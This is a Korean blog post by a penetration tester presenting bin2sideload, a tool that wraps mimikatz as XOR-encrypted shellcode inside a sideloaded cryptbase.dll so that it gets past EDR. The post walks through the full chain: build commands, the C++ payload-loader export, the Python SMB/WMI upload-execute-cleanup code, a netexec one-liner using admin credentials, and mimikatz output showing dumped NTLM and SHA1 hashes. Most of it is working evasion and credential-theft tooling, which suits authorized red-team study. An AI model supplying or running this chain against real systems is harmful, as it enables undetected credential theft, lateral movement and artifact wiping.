[KOR] Bin2Sideload - DLL 사이드로딩 페이로드 생성 툴

요약 & 크레딧

DLL 사이드로딩 페이로드 생성을 어느정도 자동화 해주는 PoC툴을 만들었다 -  https://github.com/ChoiSG/bin2sideload. 해당 리포는 굉장히 PoC 상태이며, 작전 보안 및 더 많은 사이드로딩을 지원하는 개인 버전은 (아직은) 공개하지 않을 것이다.

해당 툴은 @icyguider의 코드를 리눅스 시스템에서 사용하기 편하도록 자동화를 한 것 뿐이다. 모든 크레딧은 icyguider의 Latloader 프로젝트와 MoreImpacketExamples 프로젝트로 돌린다. 내가 한거라곤 금요일 밤에 몇시간 시간을 내서 스크립트들을 살짝 수정한 것 밖에 없다.

배경

2023년 4분기 기준 내부망 및 사내망 모의해킹을 진행하면서 마주치는 EDR 솔루션들의 성능이 많이 좋아진 것을 느낀다. 업계에 들어와 본격적으로 네트워크 모의해킹을 한 건 2020년이였지만, 고작 3년전과 비교해서도 확실히 성능이 좋아졌다. 2000년대에는 echo ' ' >> meterpreter.exe 와 같은 트릭으로 AV 솔루션들을 피했다고 들었다. 2010년대 초반에는 upx, invoke-obfuscation 등의 툴로 메모리 기반 파워쉘 페이로드를 사용하면 우회가 가능했다. 2010년대 중반에는 다이렉트 시스템콜(Direct syscall) 개념 증명 코드를 깃헙에서 복사/붙여넣기 한 것만으로도 충분히 솔루션들을 우회할 수 있었다.

하지만 2023년 기준으로 (오펜시브 시큐리티의 입장에서) 좋았던 시절은 지나갔다. 유저랜드 후킹은 이제 기본이며, ETWti 및 커널 콜백을 활용하는 EDR 솔루션들이 증가함에 따라 솔루션들의 탐지 능력(detective measures)과 대응/방지 능력(preventative measures) 모두 크게 향상되었다.

물론 EDR 솔루션들의 성능이 좋아졌다고는 해도, 여전히 레드팀 및 공격자 시뮬레이션 팀들의 R&D가 월등하기 때문에 업계 내 레드팀들은 크게 동요하고 있지 않다. 레드팀 자체가 방어자들의 솔루션들을 우회하는 R&D를 하는 집단이고, 업계 내 가장 똑똑하고 경력있는 인재들이 모여있기 때문이다. 또한, 현시점 기준으로 방어 우회 R&D 자체를 다른 회사들에게 아웃소싱 하는 레드팀들도 점점 늘어나고 있다. 예를 들어 방어 우회를 중점으로 개발된 C2 프레임워크, 페이로드 자동화 시스템, 스테이지 0 빌드 시스템 등의 솔루션들을 구입해 사용하는 것이다.

문제

문제는 R&D 시간과 예산이 충분한, 업계내 극소수인 레드팀들이 아니다. EDR 솔루션들의 성능 향상에 가장 큰 골머리를 앓고 있는 것은 바로 오펜시브 시큐리티 시장의 대다수를 담당하고 있는 모의해킹 팀들이다 .

모의해킹 인력들은 시간이 없다. 보안업체의 컨설턴트건, 인하우스 팀의 모의해킹 팀이건, 모의해킹 인력들은 항상 가동률(Utilization)이라는 목줄에 메어져있다. 저번주에 진행한 모의해킹의 보고서를 쓰며, 이번주에는 다른 모의해킹 프로젝트에 투입되고, 다음주에 또 다른 모의해킹 프로젝트와 관련된 스코핑 및 KickOff 미팅을 잡는다. 1, 2주 동안 6개의 도메인, 12000개의 엔드포인트, 3만명의 도메인 유저가 속한 액티브 디렉토리에서 취약점을 찾을 시간도 없는데, WinDBG로 커널 디버깅을 하고, 어셈블리 레벨까지 내려가 페이로드를 제작할 시간이 있는 컨설턴트는 극소수일 것이다.

모의해킹 인력들은 예산도 부족하다. 모의해킹 시 엔드포인트에서 페이로드 몇 번 실행하려고 몇백만원에서 몇천만원짜리 오펜시브 시큐리티 솔루션들을 구매하는 팀들은 많이 없을 것이다.

결론적으로, 내부망 모의해킹 시 EDR 솔루션들의 성능 향상으로 인해 엔드포인트에서 페이로드를 실행하는 것이 점점 어려워지고 있다. 시간과 예산이 부족한 모의해킹 컨설턴트들에게 이는 매우 어려운 상황이다.

해결

위 문제를 해결하기 위해서 많은 오펜시브 시큐리티 종사자 및 학생들이 스크립트, 페이로드, 자동화 툴들을 만들고 있다. 나도 이 문제 해결에 일조하고자 DLL 사이드로딩 페이로드 생성 툴인 bin2sideload를 만들었다.

DLL 사이드로딩과 관련된 정보는 이미 여기 DLL 사이드로딩에 정리해놨다. 이 글에서는 따로 이와 관련된 개념을 다루지 않는다. DLL 사이드로딩은 아직까지는 그나마 EDR 솔루션들이 탐지하거나 방지하기 어려운 기법이다. 전세계 기업들이 만든 정상적인 바이너리를 이용해 정상적인 프로세스안에서 공격자의 페이로드를 실행하기 때문에, 다양한 기법들 중 (아직까지는) 유용한 기법으로 남아있다.

bin2sideload는 실행하고자 하는 PE 바이너리나 .NET 어셈블리 페이로드들을 가지고 DLL 사이드로딩에 필요한 파일들을 자동으로 생성하는 페이로드 생성 툴이다. 모의해커가 실행하고자 하는 페이로드를 bin2sideload에게 제공하면 DLL 사이드로딩  페이로드들을 자동으로 만들어준다. 그 다음 dll_proxy_exec.py 스크립트를 사용하면 페이로드 업로드, DLL 사이드로딩 실행, 아티팩트 삭제까지의 과정을 자동으로 진행할 수 있게 된다.

실습

다음의 시나리오를 가정해보자.

  • 높은 권한의 유저가 interactive logon session을 가진 서버를 찾았다. 모의해커는 해당 서버에 로컬 관리자 권한을 갖고 있는 상태다. 해당 서버에 접근해 크레덴셜 덤핑만 진행하면 도메인 관리자 권한을 얻을 수 있다.
  • 하지만 아무런 툴도 먹히지 않는다. 오픈소스 툴인 LSASSY, Netexec, Secretsdump - 안된다. 크레덴셜 덤핑 툴인 nanodump, mimikatz등을 난독화해도 안되고, 쉘코드로 변환한 뒤 파워쉘 Reflection을 이용해 메모리상에서 실행하는 것도 막힌다. 심지어, 난독화(파워쉘(Reflection(난독화(C# Loader Indirect Syscall(쉘코드화 된 nanodump/mimikatz))))) 까지 막힌다.
  • 크레덴셜 덤핑이 안되면 Rubeus등을 이용한 커버로스 TGT 덤핑을 진행하고, Pass-the-Ticket 공격을 하면 안될까? Rubeus도 파워쉘 Reflection, 난독화, Loader, 다 막힌다. LSASS나 커버로스가 아닌 ADCS를 이용한 크레덴셜 덤핑을 진행하는 Masky 같은 툴도 막혔다.

말 그대로 되는게 없는 상황이다. 그리고 포츈 100이나 전세계 기업들을 상대로 모의해킹을 진행하며 이런 시나리오들을 점점 더 자주 경험하고 있다.

그렇기 때문에 bin2sideload를 만들었다. 이럴때 bin2sideload를 이용해 DLL 사이드로딩을 하면, 그나마 페이로드가 EDR 솔루션의 대응 기능을 우회해 실행될 확률이 높다. 당연히 어느정도의 퀄리티를 가진 EDR 솔루션이라면 대응은 하지 않더라도 탐지 로그는 남긴 뒤 SIEM으로 전달할 것이다. 하지만 레드팀이 아닌 모의해커의 입장에서, 페이로드 실행이 탐지 되도 크게 상관 없다.

먼저 bin2sideload 깃허브  리포를 클론한 뒤, 도커를 이용해 필요한 패키지들을 설치한다.

git clone https://github.com/ChoiSG/bin2sideload.git
cd ./bin2sideload 
docker build . -t bin2sideload
docker run -it -v ${PWD}:/shared bin2sideload

도커가 준비됐다면, 호스트에서 사용할 페이로드를 디렉토리에 복사해온 뒤, bin2sideload를 이용해 사이드로딩이 될 DLL, 암호화된 쉘코드, 그리고 이 파일들을 포함한 Zip 파일을 제작한다.

# 호스트 
mkdir /opt/mimikatz ; cd /opt/mimikatz 
wget https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
unzip mimikatz_trunk.zip 
cp ./x64/mimikatz.exe /opt/bin2sideload/ 

# bin2sideload 도커 인스턴스 
python3 bin2sideload.py -i mimikatz.exe -o udd5238.tmp -k choisec -p='\"sekurlsa::logonPasswords\" \"exit\"'

위 명령어를 풀어보자면 - Mimikatz는 쉘코드 제작 툴인 Donut을 이용해 udd5238.tmp라는 쉘코드로 변환되고, 이는 또 choisec 이라는 키를 통해 XOR 암호화 된다. DLL 사이드로딩에 사용될 cryptbase.dll 이라는 DLL 또한 자동으로 생성된다. 마지막으로, 쉘코드와 cryptbase.dll이 포함된 Zip 파일이 생성된다. bin2sidelaod.py의 출력값을 보면 해당 Zip파일의 이름이 나온다.

python3 bin2sideload.py -i mimikatz.exe -o udd5238.tmp -k choisec -p='\"sekurlsa::logonPasswords\" \"exit\"'

[ . . . 생략 . . . ] 
[+] 6. Zip encrypted shellcode and cryptbase.dll
[+] Final Zip file: go-djpsbfnj.zip

이제 이 Zip 파일을 상대방 호스트에서 실행하면 끝이다. 자동으로 압축파일을 업로드하고, 압축을 해제한 뒤, DLL 사이드로딩을 실행하고, 실행이 끝난 다음 아티팩트 청소까지 해주는 dll_proxy_exec.py 스크립트를 이용한다.

python3 dll_proxy_exec.py administrator:'Password123!'@192.168.40.132 -e disksnapshot.exe -output -z go-djpsbfnj.zip

[DEBUG] Zip file triggered!                 
                                                                                        
[SMB] Uploading zip file...                                                             
[SMB] Uploaded to: C:\Windows\Tasks\go-djpsbfnj.zip                                     
                                            
[WMI] Extracting zip file from remote host...
[WMI] Extracted to: C:\Windows\Tasks\go-djpsbfnj
                                                                                        
[WMI] Executing DLL...                      
                                            
[WMI] Cleaning up files...                  
[WMI] Deleted: C:\Windows\Tasks\go-djpsbfnj.zip and C:\Windows\Tasks\go-djpsbfnj

[*] Output:
  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08             
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                                             
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )                
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/
                                            
mimikatz(commandline) # sekurlsa::logonPasswords

[ . . . 생략 . . . ] 

Authentication Id : 0 ; 309093 (00000000:0004b765)                                      
Session           : Interactive from 1                                                  
User Name         : Administrator                                                       
Domain            : WIN-H5GHHCF15PJ         
Logon Server      : WIN-H5GHHCF15PJ
Logon Time        : 11/8/2023 1:12:18 PM
SID               : S-1-5-21-620113993-3840625625-1707853370-500
        msv :                               
         [00000003] Primary
         * Username : Administrator
         * Domain   : WIN-H5GHHCF15PJ
         * NTLM     : 2b576acbe6bcfda7294d6bd18041b8fe
         * SHA1     : e30d1c18c56c027667d35734660751dc80203354

설명을 하니 복잡해 보이지만, 사실상 두개의 명령어만 치면 된다.

python3 bin2sideload.py -i mimikatz.exe -o udd5238.tmp -k choisec -p='\"sekurlsa::logonPasswords\" \"exit\"'

python3 dll_proxy_exec.py administrator:'Password123!'@192.168.40.132 -e disksnapshot.exe -output -z go-djpsbfnj.zip

코드 분석 - template.cpp (sideloader.cpp)

위 크레딧에도 나와있듯, bin2sideload는 사실상 icyguider의 latloader와 dll_proxy_exec.py 스크립트를 살짝 수정한 것이다. 그래도 이런저런 코드와 삽질을 하며 배운 것들에 대해 적어본다.

icyguider가 사용한 DLL 사이드로딩에는 cryptbase.dll 이라는 DLL이 사용되는데, 이는 template.cpp 파일을 통해 만들어진다. 해당 DLL은 disksnapshot.exe 프로세스가 실행될 때 사이드로딩이 되며, 프로세스가 DLL의 SystemFunction036() 함수를 이용할 때 쉘코드 파일을 파일시스템 위에서 읽어온 다음에 실행한다.

다음은 template.cpp 파일의 SystemFunction036_Proxy 라는 export 함수다.

extern "C" __declspec(dllexport) DWORD SystemFunction036_Proxy(void* buffer, ULONG len)
{

    HANDLE hMutex = CreateMutexA(NULL, FALSE, "Global\\SQLServerRecCompleteEx");
    if (hMutex == NULL) {
        // Handle error, maybe someday 
    } else {
        if (GetLastError() != ERROR_ALREADY_EXISTS) {
            hittem();
        }
        CloseHandle(hMutex);
    }

    // Load original DLL and get function pointer
    SystemFunction036_Type Original_SystemFunction036 = (SystemFunction036_Type)GetProcAddress(LoadLibrary("C:\\Windows\\System32\\CRYPTBASE.dll"), "SystemFunction036");
    BOOL result = Original_SystemFunction036(buffer, len);
    return result;
}

크레딧 섹션에 나와있듯, 원래는 https://github.com/icyguider/LatLoader/blob/main/src/sideloader.cpp 파일의 코드를 가져와 사용했었다. 하지만 이상하게 원래 파일대로 DLL을 생성하면 disksnapshot.exe 프로세스가 SystemFunction036를 반복 실행해 페이로드가 무한히 실행되는 버그가 있었다. 예를 들면 DLL 사이드로딩을 실행하면, mimikatz가 50번 60번씩 실행되며 RAM을 잡아먹었고, 프로세스는 바로 종료됐다.

해당 함수가 수십번 트리거 되는 불상사를 막으려 고민했고, 결국 뮤택스를 사용하기로 결정했다. 아래와 같이 글로벌 뮤택스를 집어넣어 함수와 페이로드가 한번만 실행되도록 개선했다.

HANDLE hMutex = CreateMutexA(NULL, FALSE, "Global\\SQLServerRecCompleteEx");

사이드로딩 뒤 뮤택스를 설정하고, 뮤택스가 존재하지 않는다면 페이로드 실행 함수인 hittem() 이 실행된다. 이 함수는 다음과 같은 로직을 실행한다.

  1. 암호화된 쉘코드의 위치를 기반으로 파일을 읽어온다
  2. 읽어온 쉘코드를 XOR 복호화 (사실상 디코딩이지만) 한다
  3. Hardware breakpoint + Vectored Exception Handler를 이용해 NtAllocateVirtualMemory 함수를 실행한 뒤, 현 프로세스에 쉘코드의 크기만큼의 메모리를 할당한다
  4. 쉘코드를 해당 메모리에 복사한다
  5. 쉘코드를 가지고 있던 힙 메모리의 전역 변수를 free해 메모리 스캔 위험을 최소화한다
  6. 쉘코드를 함수 포인터로 실행한다

이상하게 이 함수 또한 원래 sideloader.cpp 코드를 실행하면 제대로 실행이 되지 않았다. HWBP를 이용해 pNtAllocateVirtualMemory를 구해오는 로직을 (#3번) 파일을 읽어오는 (#1번) 위로 올려놔야지만 정상적으로 실행됐다. 시간이 없어 자세한 디버깅을 못해 정확히 왜 그런지는 모르겠다.

코드 분석 - dll_proxy_exec

원래는 Zip파일을 생성한 다음에 Netexec을 써서 파일 업로드, 압축 해제, DLL 사이드로딩, 클린업을 진행했다. 하지만 모의해커의 입장으로서, 다음과 같은 명령어를 사용하기엔 너무 귀찮았다.

# 원래 사용하던 Netexec 명령어 
nxc smb 192.168.40.132 -u administrator -p 'Password123!' --local-auth --put-file go-umsvcjae.zip \\windows\\tasks\\go-umsvcjae.zip -x 'powershell.exe -c mkdir c:\windows\tasks\go-umsvcjae ; Expand-Archive -Path c:\windows\tasks\go-umsvcjae.zip -DestinationPath c:\windows\tasks\go-umsvcjae ; rm c:\windows\tasks\go-umsvcjae.zip ; cp c:\windows\system32\disksnapshot.exe c:\windows\tasks\go-umsvcjae\disksnapshot.exe ; c:\windows\tasks\go-umsvcjae\disksnapshot.exe'

하지만 역시 icyguider는 다 생각이 있었다 - 바로 DLL 사이드로딩을 자동화 하는 스크립트를 제작했었던 것이다 - https://github.com/icyguider/MoreImpacketExamples#dll_proxy_execpy.

해당 스크립트는 매우 유용했지만, 개념 증명용 코드였기에 단일 DLL만 업로드 밖에 지원하지 않았다. 따라서 해당 스크립트 또한 마개조를 해 Zip파일을 허용하도록 바꿨다. 사실상 Nxc에서 실행하던 파워쉘 코드를 self.execute 를 이용해 dll_proxy_exec.py 스크립트에서 실행하도록 바꿨다.

print("[DEBUG] Zip file triggered!")
zipdirname,_ = os.path.splitext(zipfile)
full_zipfilepath = f"{drive}:{self.__remotePath}\\{zipfile}"
full_zipdirpath = f"{drive}:{self.__remotePath}\\{zipdirname}"

print("\n[SMB] Uploading zip file...") 
self.upload(zipfile, zipfile) 
print(f"[SMB] Uploaded to: {full_zipfilepath}")

print("\n[WMI] Extracting zip file from remote host...") 
self.execute(f"powershell.exe -c Expand-Archive -Path {full_zipfilepath} -DestinationPath {full_zipdirpath} -Force")
print(f"[WMI] Extracted to: {full_zipdirpath}")

print("\n[WMI] Executing DLL...")
out = self.execute(f"copy {drive}:\\Windows\\System32\\{exe} {full_zipdirpath}\\ && {full_zipdirpath}\\{exe}")

print("\n[WMI] Cleaning up files...")
self.execute(f"del {full_zipfilepath} && rmdir /s /q {full_zipdirpath}")
print(f"[WMI] Deleted: {full_zipfilepath} and {full_zipdirpath}")

마치며

몇시간동안 다른 사람의 스크립트를 수정한 것에 지나지 않지만, 항상 해보고 싶었던 DLL 사이드 로딩 자동화를 어느정도 구현해 본것으로 만족한다. 이번참에 다시 한번 DLL 사이드로딩에 관련된 개념에 대해서 배우기도 했고, 미뤄놨던 HWBP와 관련된 개념 또한 (아주 조금) 배웠다.

대-EDR의 시대에서 앞으로 모의해커들이 원하는 페이로드를 실행하기는 점점 더 어려워질 것이다. 지금은 다른 사람들이 발표한 PoC를 조금 수정하는 것만으로 문제 해결이 가능하지만, 이런 식의 트렌드가 얼마나 더 지속될지는 모르겠다.

그래도 최대한 노력을 해보며,
Happy Hacking!

(icyguider는 신이야)